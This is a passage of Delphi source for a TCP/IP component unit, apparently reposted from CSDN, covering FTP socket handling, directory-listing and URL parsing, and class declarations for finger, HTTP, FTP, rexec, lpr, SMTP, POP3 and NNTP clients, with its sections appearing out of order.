self.SendCommand('MKD '+dirname);
self.response;
end;
(*@\\\*)
(*@/// procedure t_ftp.renamefile(const prior,after:string); // RNFR and RNTO commands *)
procedure t_ftp.renamefile(const prior,after:string);
begin
if f_busy then raise(EProtocolBusy.create);
if not f_logged_in then login;
self.SendCommand('RNFR '+prior);
self.response;
self.SendCommand('RNTO '+after);
self.response;
end;
(*@\\\*)

(*@/// function t_ftp.do_write:boolean; *)
function t_ftp.do_write:boolean;
var
ok:integer;
begin
result:=false;
if f_socket=invalid_socket then EXIT;

ok:=f_stream.read(f_buffer^,buf_size);
if ok>0 then
write_buf(f_socket,f_buffer^,ok);
result:=ok>0;
end;
(*@\\\0000000501*)
(*@/// function t_ftp.do_read:boolean; *)
function t_ftp.do_read:boolean;
var
ok,ok2:integer;
h:integer;
p: pointer;
begin
result:=false;
if f_socket=invalid_socket then EXIT;
read_var(f_socket,f_buffer^,buf_size,ok);
p:=f_buffer;
h:=ok;
while ok>0 do begin (* just to be sure everything goes into the stream *)
ok2:=0; (* Delphi 2 shut up! *)
case f_mode_intern of
tftp_download: ok2:=f_stream.write(p^,ok);
tftp_getdir: ok2:=f_dir_stream.write(p^,ok);
end;
dec(ok,ok2);
p:=pointer(longint(p)+ok2);
end;
result:=h>0;
if assigned(f_ondata_got) then
f_ondata_got(self,f_mode_intern,h);
end;
(*@\\\0000000901*)

(*@/// procedure t_ftp.finish_upload; *)
procedure t_ftp.finish_upload;
begin
while do_write do ;
f_eof:=false;
shutdown(f_socket,1);
closesocket(f_socket);
f_async:=true;
self.response;
f_async:=false;
if assigned(f_onaction) then
f_onaction(self,f_mode_intern);
f_busy:=false;
end;
(*@\\\0000000901*)
(*@/// procedure t_ftp.finish_download; *)
procedure t_ftp.finish_download;
begin
while do_read do ;
f_eof:=false;
shutdown(f_socket,1);
closesocket(f_socket);
f_stream.seek(0,0); (* set the stream back to start *)
if assigned(f_onaction) then
f_onaction(self,f_mode_intern);
f_busy:=false;
end;
(*@\\\0000000701*)
(*@/// procedure t_ftp.finish_getdir; *)
procedure t_ftp.finish_getdir;
begin
f_eof:=false;
while do_read do ;
f_eof:=false;
shutdown(f_socket,1);
closesocket(f_socket);
self.SendCommand('TYPE I'); (* always use binary *)
self.response;
f_dir_stream.seek(0,0); (* set the stream back to start *)
f_cur_dir.clear;
f_cur_dir.LoadFromStream(f_dir_stream);
f_dir_stream.clear;
f_cur_dir_index:=0;
if assigned(f_onaction) then
f_onaction(self,f_mode_intern);
f_busy:=false;
end;
(*@\\\0000000901*)

(*@/// procedure t_ftp.get_datasocket; *)
procedure t_ftp.get_datasocket;
var
po: integer;
ip: longint;
s,t: string;
temp_socket: TSocket;
SockInfo:TSockAddr;
f_data_socket_number: smallint;
begin
f_socket:=INVALID_SOCKET;
(*@/// if self.passive then ask for the port and open the socket active *)
if self.passive then begin
self.SendCommand('PASV');
self.response;
if f_status_nr<>227 then
raise EProtocolError.Create('FTP',f_status_txt,f_status_nr)
else begin
s:=copy(f_status_txt,pos('(',f_status_txt)+1,length(f_status_txt));
s:=copy(s,1,pos(')',s)-1);

po:=posn(',',s,4);
t:=copy(s,1,po-1);
while pos(',',t)<>0 do
t[pos(',',t)]:='.';

(*@/// ip_address:=Winsock.Inet_Addr(PChar(t)); { try a xxx.xxx.xxx.xx } *)
(*$ifdef ver80 *)
t:=t+#0;
ip_address:=Winsock.Inet_Addr(PChar(@t[1])); (* try a xxx.xxx.xxx.xx first *)
(*$else *)
(*$ifopt h- *)
t:=t+#0;
ip_address:=Winsock.Inet_Addr(PChar(@t[1])); (* try a xxx.xxx.xxx.xx first *)
(*$else *)
ip_address:=Winsock.Inet_Addr(PChar(t)); (* try a xxx.xxx.xxx.xx first *)
(*$endif *)
(*$endif *)
(*@\\\0000000801*)
s:=copy(s,po+1,length(s));
try
f_data_socket_number:=strtoint(copy(s,1,pos(',',s)-1))*256
+strtoint(copy(s,pos(',',s)+1,length(s)));
f_socket:=self.create_socket;
if f_async_data then
winsock.WSAAsyncSelect(f_socket,f_handle,uwm_socketevent+1,
fd_connect or fd_read or fd_write or fd_accept);
self.connect_socket(f_socket, f_data_socket_number, ip_address);
except
f_socket:=INVALID_SOCKET;
end;
end;
end
(*@\\\0000000F01*)
(*@/// else send the port and open the socket passive *)
else begin
ip:=my_ip_address;
self.SendCommand('PORT '+inttostr(ip and $000000ff )+','+
inttostr(ip and $0000ff00 shr 8)+','+
inttostr(ip and $00ff0000 shr 16)+','+
inttostr(ip and $ff000000 shr 24)+','+
inttostr(f_port and $ff00 shr 8 )+','+
inttostr(f_port and $00ff ));
self.response;
open_socket_in(f_socket,f_port,ip);
(* take the first out of the queue and close the listening socket *)
if not f_async_data then begin
temp_socket:=accept_socket_in(f_socket,SockInfo);
if temp_socket=INVALID_SOCKET then
{do nothing}
else begin
close_socket(f_socket); (* no more listening necessary *)
f_socket:=temp_socket;
end;
end;
end;
(*@\\\0000000B01*)
if f_async_data and (f_socket<>INVALID_SOCKET) then
winsock.WSAAsyncSelect(f_socket,f_handle,uwm_socketevent+1,
fd_connect or fd_read or fd_write or fd_accept);
end;


CSDN_文档中心_TCP/IP 使网络连接驱向简单化(二)

(*@/// Parse a FTP directory line into a filedata record (UNIX and DOS style only) *)
const month_string: array[0..11] of string =
('Jan','Feb','Mar','Apr','May','Jun','Jul','Aug','Sep','Oct','Nov','Dec');

(*@/// function getmonth(const s:string):integer; Month -> Integer *)
function getmonth(const s:string):integer;
var
i: integer;
begin
result:=0;
for i:=0 to 11 do
if s=month_string[i] then begin
result:=i+1;
EXIT;
end;
end;
(*@\\\0000000301*)

const
empty_filedata:t_filedata=
(filetype:ft_none; size:0; name:''; datetime:0);

(*@/// function parse_line_unix(const s: string):t_filedata; *)
function parse_line_unix(const v: string):t_filedata;
(* known problems: filename with spaces (most unix's don't allow the anyway) *)
(* links aren't parsed at all *)
var
t,date: string;
y,m,d,h,n,s: word;
begin
try
case v[1] of
'd': result.filetype:=ft_dir;
'-': result.filetype:=ft_file;
'l': result.filetype:=ft_link;
end;
result.name:=copy(v,posn(' ',v,-1)+1,length(v));
t:=copy(v,12,length(v)-length(result.name)-12);
date:=copy(t,length(t)-11,12);
decodedate(now,y,m,d);
h:=0; n:=0; s:=0;
if pos(':',date)>0 then begin
h:=strtoint(copy(date,8,2));
n:=strtoint(copy(date,11,2));
end
else
y:=strtoint(copy(date,9,4));
d:=strtoint(trim(copy(date,5,2)));
m:=getmonth(copy(date,1,3));
t:=copy(t,1,length(t)-13);
result.size:=strtoint(copy(t,posn(' ',t,-1)+1,length(t)));
result.datetime:=encodedate(y,m,d)+encodetime(h,n,s,0);
except
result:=empty_filedata;
end;
end;
(*@\\\0000000201*)
(*@/// function parse_line_dos(const s: string):t_filedata; *)
function parse_line_dos(const v: string):t_filedata;
(* known problems: filename with spaces (why do something like that?) *)
var
t: string;
sd,st: string;
ds: char;
begin
ds:=DateSeparator;
sd:=ShortdateFormat;
st:=Shorttimeformat;
try
if pos('<DIR>',v)=0 then
result.filetype:=ft_file
else
result.filetype:=ft_dir;
result.name:=copy(v,posn(' ',v,-1)+1,length(v));
t:=copy(v,1,length(v)-length(result.name)-1);
result.size:=strtoint('0'+copy(t,posn(' ',t,-1)+1,length(t)));
DateSeparator:='-';
ShortDateFormat:='mm/dd/yy';
Shorttimeformat:='hh:nnAM/PM';
result.datetime:=strtodatetime(copy(t,1,17));
except
result:=empty_filedata;
end;
DateSeparator:=ds;
ShortdateFormat:=sd;
Shorttimeformat:=st;
end;
(*@\\\0000000201*)

(*@/// function parse_ftp_line(const s:string):t_filedata; *)
function parse_ftp_line(const s:string):t_filedata;
begin
if copy(s,1,5)='total' then (* first line for some UNIX ftp server *)
result:=empty_filedata
else if s[1] in ['d','l','-','s'] then
result:=parse_line_unix(s)
else if s[1] in ['0'..'9'] then
result:=parse_line_dos(s);
end;
(*@\\\0000000301*)
(*@\\\0000000401*)

(*@/// procedure stream_write_s(h:TMemoryStream; const s:string); // string -> stream *)
procedure stream_write_s(h:TMemoryStream; const s:string);
var
buf: pointer;
begin
buf:=@s[1];
h.write(buf^,length(s));
end;
(*@\\\0000000301*)

const
back_log=2; (* possible values 1..5 *)
fingerd_timeout=5;
buf_size=$7f00; (* size of the internal standard buffer *)

(*@/// class EProtocolError(ETcpIpError) *)
constructor EProtocolError.Create(const proto,Msg:String; number:word);
begin
Inherited Create(Msg);
protocoll:=proto;
errornumber:=number;
end;
(*@\\\0000000301*)
(*@/// class ESocketError(ETcpIpError) *)
constructor ESocketError.Create(number:word);
begin
inherited create('Error creating socket');
errornumber:=number;
end;
(*@\\\*)
(*@/// class EProtocolBusy(ETcpIpError) *)
constructor EProtocolBusy.Create;
begin
inherited create('Protocol busy');
end;
(*@\\\0000000301*)

(*@/// procedure parse_url(const url:string; var proto,user,pass,host,port,path:string); *)
procedure parse_url(const url:string; var proto,user,pass,host,port,path:string);

(* standard syntax of an URL:
protocol://[user[:password]@]server[:port]/path *)

var
p,q: integer;
s: string;
begin
proto:='';
user:='';
pass:='';
host:='';
port:='';
path:='';

p:=pos('://',url);
if p=0 then begin
if lowercase(copy(url,1,7))='mailto:' then begin (* mailto:// not common *)
proto:='mailto';
p:=pos(':',url);
end;
end
else begin
proto:=copy(url,1,p-1);
inc(p,2);
end;
s:=copy(url,p+1,length(url));

p:=pos('/',s);
if p=0 then p:=length(s)+1;
path:=copy(s,p,length(s));
s:=copy(s,1,p-1);

p:=posn(':',s,-1);
if p>length(s) then p:=0;
q:=posn('@',s,-1);
if q>length(s) then q:=0;
if (p=0) and (q=0) then begin (* no user, password or port *)
host:=s;
EXIT;
end
else if q<p then begin (* a port given *)
port:=copy(s,p+1,length(s));
host:=copy(s,q+1,p-q-1);
if q=0 then EXIT; (* no user, password *)
s:=copy(s,1,q-1);
end
else begin
host:=copy(s,q+1,length(s));
s:=copy(s,1,q-1);
end;
p:=pos(':',s);
if p=0 then
user:=s
else begin
user:=copy(s,1,p-1);
pass:=copy(s,p+1,length(s));
end;
end;
(*@\\\0000003C07*)

{ The base component }
(*@/// class t_tcpip(TComponent) *)
(*@/// constructor t_tcpip.Create(Aowner:TComponent); *)
constructor t_tcpip.Create(Aowner:TComponent);
begin
inherited create(AOwner);
{ f_buffer:=NIL; }
getmem(f_buffer,buf_size);
f_stream:=TMemorystream.Create;
f_Socket:=INVALID_SOCKET;
ip_address:=INVALID_IP_ADDRESS;
(* A windows dummy handle to get messages *)
f_handle:=AllocateHwnd(self.WndProc);
f_async:=false;
f_logged_in:=false;
end;
(*@\\\0000000C03*)
(*@/// destructor t_tcpip.Destroy; *)
destructor t_tcpip.Destroy;
begin
f_tracer:=NIL;
if f_buffer<>NIL then
freemem(f_buffer,buf_size);
f_stream.free;
if f_socket<>invalid_socket then
logout;
DeallocateHwnd(f_Handle);
inherited destroy;
end;
(*@\\\0000000301*)

(*@/// procedure t_tcpip.WndProc(var Msg : TMessage); *)
procedure t_tcpip.WndProc(var Msg : TMessage);
begin
if msg.msg=uwm_socketevent then begin
if msg.lparamhi=socket_error then
else begin
case msg.lparamlo of
(*@/// fd_read: *)
fd_read: begin
f_newdata:=true;
end;
(*@\\\0000000213*)
end;
end;
end
else
dispatch(msg);
end;
(*@\\\0000000701*)

(*@/// function t_tcpip.Create_Socket:TSocket; *)
function t_tcpip.Create_Socket:TSocket;
begin
result:=Winsock.Socket(PF_INET,SOCK_STREAM,IPPROTO_IP);
end;
(*@\\\*)
(*@/// procedure t_tcpip.bind_socket(var socket:TSocket; out_port_min,out_port_max: word); *)
procedure t_tcpip.bind_socket(var socket:TSocket; out_port_min,out_port_max: word);
var
LocalAddress : TSockAddr;
i: word;
begin
with LocalAddress do begin
Sin_Family:=PF_INET;
Sin_addr.S_addr:=INADDR_ANY;
end;
i:=out_port_min;
while i<=out_port_max do begin
LocalAddress.Sin_Port:=Winsock.htons(i);
if Winsock.bind(socket,LocalAddress,
SizeOf(LocalAddress))<>SOCKET_ERROR then BREAK;
inc(i);
end;
end;
(*@\\\0000000401*)
(*@/// procedure t_tcpip.connect_socket(var socket:TSocket; Socket_number:smallint;ip_address:longint); *)
procedure t_tcpip.connect_socket(var socket:TSocket; Socket_number:smallint;ip_address:longint);
var
RemoteAddress : TSockAddr;
begin
with RemoteAddress do begin
Sin_Family:=PF_INET;
Sin_Port:=Winsock.htons(Socket_number);
Sin_addr:=TInAddr(ip_address);
end;
if Winsock.Connect(Socket,RemoteAddress,
SizeOf(RemoteAddress))=SOCKET_ERROR then begin
if winsock.WSAGetLastError<>wsaewouldblock then begin
Close_Socket(socket);
if assigned(f_tracer) then
f_tracer('Failed to open output socket '+inttostr(Socket_number)+' to host '+
ip2string(ip_address),tt_socket);
end
end
else
if assigned(f_tracer) then
f_tracer('Opened output socket '+inttostr(Socket_number)+' to host '+
ip2string(ip_address)+' successfully; ID '+inttostr(socket),
tt_socket);
end;
(*@\\\000E00101C00101C00101C00101C*)
(*@/// procedure t_tcpip.open_socket_out(var socket:TSocket; Socket_number:smallint;ip_address:longint); *)
procedure t_tcpip.open_socket_out(var socket:TSocket; Socket_number:smallint;ip_address:longint);
begin
close_socket(socket);
socket:=Create_Socket;
connect_socket(socket,Socket_number,ip_address);
end;
(*@\\\0000000501*)
(*@/// procedure t_tcpip.open_socket_in(var socket:TSocket; Socket_number:smallint;ip_address:longint); *)
procedure t_tcpip.open_socket_in(var socket:TSocket; Socket_number:smallint;ip_address:longint);
var
LocalAddress : TSockAddr;
begin
close_socket(socket);
f_Socket:=Create_Socket;
(*@/// open the socket and let it listen *)
with LocalAddress do begin
Sin_Family:=PF_INET;
Sin_Port:=Winsock.htons(Socket_number);
Sin_addr:=TInAddr(ip_address);
end;
if Winsock.bind(socket,LocalAddress,
SizeOf(LocalAddress))=SOCKET_ERROR then begin
if assigned(f_tracer) then
f_tracer('Failed to bind socket '+inttostr(Socket_number)+' for local ip '+
ip2string(ip_address),tt_socket);
Close_Socket(socket);
EXIT;
end
else
if assigned(f_tracer) then
f_tracer('Bound to socket '+inttostr(Socket_number)+' for local ip '+
ip2string(ip_address),tt_socket);
if Winsock.Listen(Socket,back_log)=SOCKET_ERROR then begin
Close_Socket(socket);
if assigned(f_tracer) then
f_tracer('Failed to set input socket '+inttostr(Socket_number)+
' to listening mode',tt_socket);
end
else
if assigned(f_tracer) then
f_tracer('Set input socket '+inttostr(Socket_number)+
' to listening mode sucessfully; ID '+inttostr(socket),tt_socket);
(*@\\\0030000A18000A18001123*)
end;
(*@\\\0000000701*)
(*@/// function t_tcpip.accept_socket_in(socket:TSocket; var SockInfo:TSockAddr):TSocket; *)
function t_tcpip.accept_socket_in(socket:TSocket; var SockInfo:TSockAddr):TSocket;
var
x: u_int;
LocalAddress : TSockAddr;
temp_socket: TSocket;
begin
x:=SizeOf(LocalAddress);
(*$ifndef ver100 *)
temp_socket:=Winsock.Accept(Socket,LocalAddress,x);
(*$else *) { Delphi 3 ARGH! }
temp_socket:=Winsock.Accept(Socket,@LocalAddress,@x);
(*$endif *)
if temp_socket=SOCKET_ERROR then begin
(* no incoming call available *)
temp_socket:=INVALID_SOCKET;
if assigned(f_tracer) then
f_tracer('No incoming connection found on socket ID '+inttostr(Socket),
tt_socket);
end
else
if assigned(f_tracer) then
f_tracer('Incoming connection found on socket ID '+inttostr(Socket)+
'; generated socket ID '+inttostr(temp_socket),tt_socket);
accept_socket_in:=temp_socket;
sockinfo:=LocalAddress;
end;
(*@\\\0000001748*)
(*@/// function t_tcpip.socket_state(socket:TSocket):T_Socket_State; *)
function t_tcpip.socket_state(socket:TSocket):T_Socket_State;
var
peer_adr: TSockAddr;
x: u_int;
begin
if socket=INVALID_SOCKET then
socket_state:=invalid
else begin
x:=sizeof(TSockAddr);
if winsock.getpeername(socket,peer_adr,x)=0 then
socket_state:=connected
else begin
if winsock.WSAGetLastError<>WSAENOTCONN then
socket_state:=state_unknown
else
socket_state:=valid
end;
end;
end;


CSDN_文档中心_TCP/IP 使网络连接驱向简单化

自创改编小控件，不是一个哟！！

仔细看一下，你一定会喜欢的！

unit tcpip;

(*@/// interface *)
interface
(*$x+ *)

(*@/// uses *)
uses
sysutils,
classes,
controls,
forms,
winsock,
(*$ifdef ver80 *)
winprocs,
wintypes,
(*$else *)
windows,
(*$endif *)
messages,
ip_misc;
(*@\\\*)

type
t_socket_state = (invalid,valid,connected,state_unknown);
t_timemode = (tzUTC,tzLocal);
t_ftp_mode = (tftp_download,tftp_upload,tftp_getdir);
t_filetype = (ft_none, ft_dir, ft_file, ft_link);
t_lpr_types = (lp_plain, lp_ascii, lp_dvi, lp_plot, lp_ditroff, lp_ps,
lp_pr, lp_fortran, lp_troff, lp_raster, lp_cif);
t_encoding = (ec_base64, ec_quotedprintable, ec_none);
TTraceLevel = (tt_proto_sent, tt_proto_get, tt_socket);
(*@/// t_filedata=record ... end; *)
t_filedata=packed record
filetype: t_filetype;
size: integer;
name: string;
datetime: TDateTime;
end;
(*@\\\*)
ETcpIpError=class(Exception);
(*@/// ESocketError=class(ETcpIpError) *)
ESocketError=class(ETcpIpError)
errornumber: word;
constructor Create(number:word);
end;
(*@\\\0000000301*)
(*@/// EProtocolError=class(ETcpIpError) *)
EProtocolError=class(ETcpIpError)
errornumber: word;
protocoll: string;
constructor Create(const proto,Msg:String; number:word);
end;
(*@\\\0000000401*)
(*@/// EProtocolBusy=class(ETcpIpError) *)
EProtocolBusy=class(ETcpIpError)
constructor Create;
end;
(*@\\\0000000201*)

TTraceProc = procedure (const s:string; level:TTraceLevel) of object;
TDataTransferProc = procedure (Sender:TObject; mode: t_ftp_mode; bytes: integer) of object;
TFTPActionCompleteProc = procedure (Sender:TObject; mode: t_ftp_mode) of object;

{ The base component }
(*@/// T_TcpIp = class(TComponent) *)
T_TcpIp = class(TComponent)
protected
f_handle: THandle;
f_Socket: tsocket;
f_hostname: string;
f_tracer: TTraceProc;
f_socket_number: smallint;
ip_address: longint; (* Network order! *)
f_eof: boolean;
f_newdata: boolean;
f_stream: TStream;
f_buffer: pointer;
f_async: boolean;
f_logged_in: boolean;
procedure WndProc(var Msg : TMessage); virtual;
function Create_Socket:TSocket;
procedure connect_socket(var socket:TSocket; Socket_number:smallint;ip_address:longint);
procedure bind_socket(var socket:TSocket; out_port_min,out_port_max: word);
procedure open_socket_out(var socket:TSocket; Socket_number:smallint;ip_address:longint); virtual;
procedure open_socket_in(var socket:TSocket; Socket_number:smallint;ip_address:longint);
procedure close_socket(var socket:TSocket);
procedure close_socket_linger(var socket:TSocket);
function accept_socket_in(socket:TSocket; var SockInfo:TSockAddr):TSocket;
function socket_state(socket:TSocket):T_Socket_State;
function Socket_by_name(const service:string):smallint;
function read_line(f_socket:TSocket):string;
procedure read_var(f_socket:TSocket; var buf; size:integer; var _ok:integer);
procedure write_buf(f_socket:TSocket; const buf; size:integer);
procedure write_s(f_socket:TSocket; const s:string);
procedure SetStream(value:TStream); (* for the property write of f_stream *)
procedure action; VIRTUAL;
{ property Async:boolean read f_async write f_async default false; }
procedure SendCommand(const s:string); VIRTUAL;
public
procedure Login; virtual;
procedure Logout; virtual;
property OnTrace:TTraceProc read f_tracer write f_tracer;
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
function eof(f_socket:TSocket):boolean; VIRTUAL;
end;
(*@\\\0000002901*)

{ Finger client and demon // RFC 1288 }
(*@/// T_Finger = class(T_TcpIp) *)
T_Finger = class(T_TcpIp)
protected
f_user: string;
public
constructor Create(Aowner:TComponent); override;
property stream: TStream read f_stream;
procedure action; override;
published
property Hostname: string read f_hostname write f_hostname;
property User: string read f_user write f_user;
end;
(*@\\\0000000118*)
(*@/// T_Fingerd = class(T_TcpIp) *)
type
(*@/// TFingerInfo=record *)
TFingerInfo=record
hostname: string;
address: longint;
request: string;
end;
(*@\\\0000000203*)
TFingerRequest=procedure (Sender:TObject; FingerInfo:TFingerInfo) of object;

T_Fingerd = class(T_TcpIp)
protected
f_fingerrequest: TFingerRequest;
f_answer: TStringList;
procedure WndProc(var Msg : TMessage); override;
procedure SetAnswer(Value: TStringList);
procedure do_action; virtual; (* The real action *)
public
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
procedure action; override; (* Only to set up *)
published
property OnFingerRequest:TFingerRequest read f_fingerrequest write f_fingerrequest;
property Answer: TStringList read f_answer write SetAnswer;
end;
(*@\\\0000000503*)

{ HTTP and FTP - the file transfer protocols }
(*@/// T_HTTP = class(T_TcpIp) // RFC 1945 (V1.0), RFC 2068 (V1.1) *)
T_HTTP = class(T_TcpIp)
protected
f_url: string;
f_path: string; (* The real request string, calculated internally *)
f_proxy: string;
f_sender: string;
f_reference: string;
f_agent: string;
f_nocache: boolean;
f_status_nr: integer;
f_status_txt: string;
f_size: integer;
f_type: string;
f_author: string;
f_do_author: TStringList;
f_content_post: string;
procedure GetHead;
procedure GetBody;
procedure sendrequest(const method,version: string);
procedure getanswer;
public
property stream: TStream read f_stream write SetStream;
property content_size: integer read f_size;
property content_type: string read f_type;
property status_number: integer read f_status_nr;
property status_text: string read f_status_txt;
procedure action; override; (* the GET method *)
procedure Post; (* the POST method, untested! *)
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
procedure DoBasicAuthorization(const username,password:string);
property AuthorizationRequest: TStringList read f_do_author;
property Authorization: string read f_author write f_author;
published
property URL: string read f_url write f_url;
property Proxy: string read f_proxy write f_proxy;
property Sender: string read f_sender write f_sender;
property Agent: string read f_agent write f_agent;
property Reference: string read f_reference write f_reference;
property NoCache: boolean read f_nocache write f_nocache;
property ContentTypePost: string read f_content_post write f_content_post;
property OnTrace;
end;
(*@\\\0000000C01*)
(*@/// T_FTP = class(T_TcpIp) // RFC 959 *)
T_FTP = class(T_TcpIp)
protected
f_url: string;
f_status_nr: integer;
f_status_txt: string;
f_user: string;
f_password: string;
f_comm_socket: tsocket;
f_passive: boolean;
f_port: word;
f_mode: t_ftp_mode;
f_mode_intern: t_ftp_mode;
f_cur_dir: TStringList;
f_cur_dir_index: integer;
f_size: integer;
f_busy: boolean;
f_onaction: TFTPActionCompleteProc;
f_ondata_got: TDataTransferProc;
f_dir_stream: TMemoryStream;
f_async_data: boolean;
procedure response;
function read_line_comm:string;
procedure SendCommand(const s:string); override;
procedure get_datasocket;
procedure WndProc(var Msg : TMessage); override;
function do_write:boolean;
function do_read:boolean;
procedure finish_upload;
procedure finish_download;
procedure finish_getdir;
public (* will become public once tested *)
procedure changedir(const f_dir:string);
procedure removefile(const filename:string);
procedure removedir(const dirname:string);
procedure makedir(const dirname:string);
procedure renamefile(const prior,after:string);
procedure getdir(const dirname:string);
function getdirentry:t_filedata;
public
property stream: TStream read f_stream write SetStream;
property status_number: integer read f_status_nr;
property status_text: string read f_status_txt;
property busy: boolean read f_busy;
procedure login; override;
procedure logout; override;
procedure download;
procedure upload;
procedure abort;
procedure noop;
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
procedure action; override;
property Size:integer read f_size;
published
property Hostname: string read f_hostname write f_hostname;
property URI: string read f_url write f_url;
property Password:string read f_password write f_password;
property Username:string read f_user write f_user;
property Passive:boolean read f_passive write f_passive default true;
property Port:word read f_port write f_port default 21;
property Mode:t_ftp_mode read f_mode write f_mode default tftp_download;
property OnDataReceived:TDataTransferProc read f_ondata_got write f_ondata_got;
property OnActionComplete:TFTPActionCompleteProc read f_onaction write f_onaction;
property Async:boolean read f_async_data write f_async_data;
property OnTrace;
end;
(*@\\\0000003501*)

{ Time, RExec, LPR - the most useful UNIX services }
(*@/// T_Time = class(T_TcpIp) // RFC 868 *)
T_Time = class(T_TcpIp)
protected
f_time: TDateTime;
f_timemode: T_TimeMode;
public
constructor Create(Aowner:TComponent); override;
procedure action; override;
property time: TDateTime read f_time;
published
property Hostname: string read f_hostname write f_hostname;
property TimeMode: T_TimeMode read f_timemode write f_timemode default tzUTC;
end;
(*@\\\0000000103*)
(*@/// T_RCommon = class(T_TcpIp) *)
T_RCommon = class(T_TcpIp)
protected
procedure open_socket_out(var socket:TSocket; Socket_number:smallint;ip_address:longint); override;
public
procedure action; override;
property stream: TStream read f_stream;
published
property Hostname: string read f_hostname write f_hostname;
end;
(*@\\\0000000103*)
(*@/// T_RExec = class(T_RCommon) *)
T_RExec = class(T_RCommon)
protected
f_user: string;
f_pass: string;
f_command: string;
procedure login; override;
public
constructor Create(Aowner:TComponent); override;
published
property UserName: string read f_user write f_user;
property Password: string read f_pass write f_pass;
property Command: string read f_command write f_command;
end;
(*@\\\0000000113*)
(*@/// T_Rsh = class(T_RCommon) *)
T_Rsh = class(T_RCommon)
protected
f_user_r: string;
f_user_l: string;
f_command: string;
procedure login; override;
public
constructor Create(Aowner:TComponent); override;
published
property LocalUser: string read f_user_l write f_user_l;
property RemoteUser: string read f_user_r write f_user_r;
property Command: string read f_command write f_command;
end;
(*@\\\0000000111*)
(*@/// T_lpr = class(T_TcpIp) // RFC 1179 *)
T_lpr = class(T_TcpIp)
protected
f_printtype: t_lpr_types;
f_banner: boolean;
f_count: integer;
f_user: string;
f_queue: string;
f_user_mail: string;
f_jobname: string;
f_title: string;
procedure response;
procedure open_socket_out(var socket:TSocket; Socket_number:smallint;ip_address:longint); override;
public
constructor Create(Aowner:TComponent); override;
property stream: TStream read f_stream write SetStream;
procedure action; override;
procedure SendPrintData;
procedure GetQueueStatus(detailed:boolean);
published
property Hostname: string read f_hostname write f_hostname;
property User: string read f_user write f_user;
property PrintQueue: string read f_queue write f_queue;
property MailTo: string read f_user_mail write f_user_mail;
property JobName: string read f_jobname write f_jobname;
property PrintType:t_lpr_types read f_printtype write f_printtype default lp_ascii;
property CopyCount:integer read f_count write f_count default 1;
property PrintBanner:boolean read f_banner write f_banner default false;
property PrintTitle:string read f_title write f_title;
end;
(*@\\\0000000103*)

{ The Mail and News protocols }
(*@/// T_SMTP = class(T_TcpIp) // RFC 821 *)
T_SMTP = class(T_TcpIp)
protected
f_user, f_host: string;
f_status_nr: integer;
f_status_txt: string;
f_receipts, f_body: tstringlist;
procedure SetBody(Value: TStringList);
procedure SetRecipients(Value: TStringList);
procedure response;
public
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
procedure action; override;
property Recipients: TStringlist read f_receipts write SetRecipients;
property Message: TStringList read f_body write SetBody;
property Sender: string read f_user write f_user;
published
property Hostname: string read f_hostname write f_hostname;
property OnTrace;
end;
(*@\\\0000001001*)
(*@/// T_Pop3 = class(T_TcpIp) // RFC 1725 *)
T_Pop3 = class(T_TcpIp)
protected
f_user: string;
f_pass: string;
f_list: TList;
f_mail: TStringList;
procedure response;
public
property Mail: TStringlist read f_mail;
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
procedure action; override; (* retrieval of first message *)
procedure Login; override;
procedure GetHeaders;
procedure Logout; override;
procedure GetMail(index: integer);
procedure DeleteMail(index:integer);
published
property Hostname: string read f_hostname write f_hostname;
property UserName: string read f_user write f_user;
property Password: string read f_pass write f_pass;
property OnTrace;
end;
(*@\\\0000001701*)
(*@/// T_NNTP = class(T_TcpIp) // RFC 977 *)
T_NNTP = class(T_TcpIp)
protected
f_news: TStringList;
f_newsgroups: TStringList;
f_status_nr: integer;
f_status_txt: string;
procedure response;
procedure action; override; (* ??? *)
procedure SetNews(value:TStringlist);
procedure GetArticleInternally;
public
property News: TStringlist read f_news write SetNews;
property NewsGroups: TStringlist read f_newsgroups;
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
procedure Login; override;
procedure Logout; override;
(* To get an article from a URL like nntp://hostname/number *)
procedure GetArticle(const group:string; index:integer);
(* To get an article from a URL like news:msgid *)
procedure GetArticleID(const msgid:string);
procedure PostArticle;
(* Methods more for a Newsreader *)
procedure GetAllNewsgroups;
procedure GetNewNewsgroups(since:TDateTime);
procedure SetGroup(const group:string; var low,high,count: integer);
procedure GetArticleNr(index:integer);
procedure SetCurrentArticle(index:integer);
procedure GetCurrentArticle;
procedure GetNextArticle;
procedure GetPreviousArticle;
published
property Hostname: string read f_hostname write f_hostname;
property OnTrace;
end;
(*@\\\0000002301*)

{ Mail and News text components }
(*@/// T_MailNews = class(TComponent) *)
T_MailNews = class(TComponent)
protected
f_from, f_sender, f_subject: string;
f_body: TStringlist;
f_add_header: TStringlist;
f_message: TStringlist;
f_references: string;
f_replyto: string;
procedure SetBody(Value: TStringList);
procedure SetHeader(Value: TStringList);
public
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
procedure action; VIRTUAL;
published
property Sender: string read f_sender write f_sender;
property From: string read f_from write f_from;
property Body: TStringList read f_body write SetBody;
property Header: TStringList read f_add_header write SetHeader;
property Subject:string read f_subject write f_subject;
property References:string read f_references write f_references;
property ReplyTo:string read f_replyto write f_replyto;
end;
(*@\\\0000001001*)
(*@/// T_Mail = class(T_MailNews) // RFC 822 *)
T_Mail = class(T_MailNews)
protected
f_smtp: T_SMTP;
f_receipts: TStringlist;
f_cc: TStringlist;
f_bcc: TStringlist;
f_disclose_receipts: boolean;
procedure SetRecipients(Value: TStringList);
procedure SetCC(Value: TStringList);
procedure SetBCC(Value: TStringList);
public
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
procedure action; override;
published
property SMTP: T_SMTP read f_smtp write f_smtp;
property Disclose_Receipts: boolean read f_disclose_receipts write f_disclose_receipts default false;
property Recipients: TStringlist read f_receipts write SetRecipients;
property CC: TStringlist read f_cc write SetCC;
property BCC: TStringlist read f_bcc write SetBCC;
end;
(*@\\\0000000601*)
(*@/// T_News = class(T_MailNews) // RFC 850 *)
T_News = class(T_MailNews)
protected
f_nntp: T_NNTP;
f_newsgroups: TStringlist;
f_organization: string;
procedure SetNewsgroups(Value: TStringList);
public
constructor Create(Aowner:TComponent); override;
destructor Destroy; override;
procedure action; override;
published
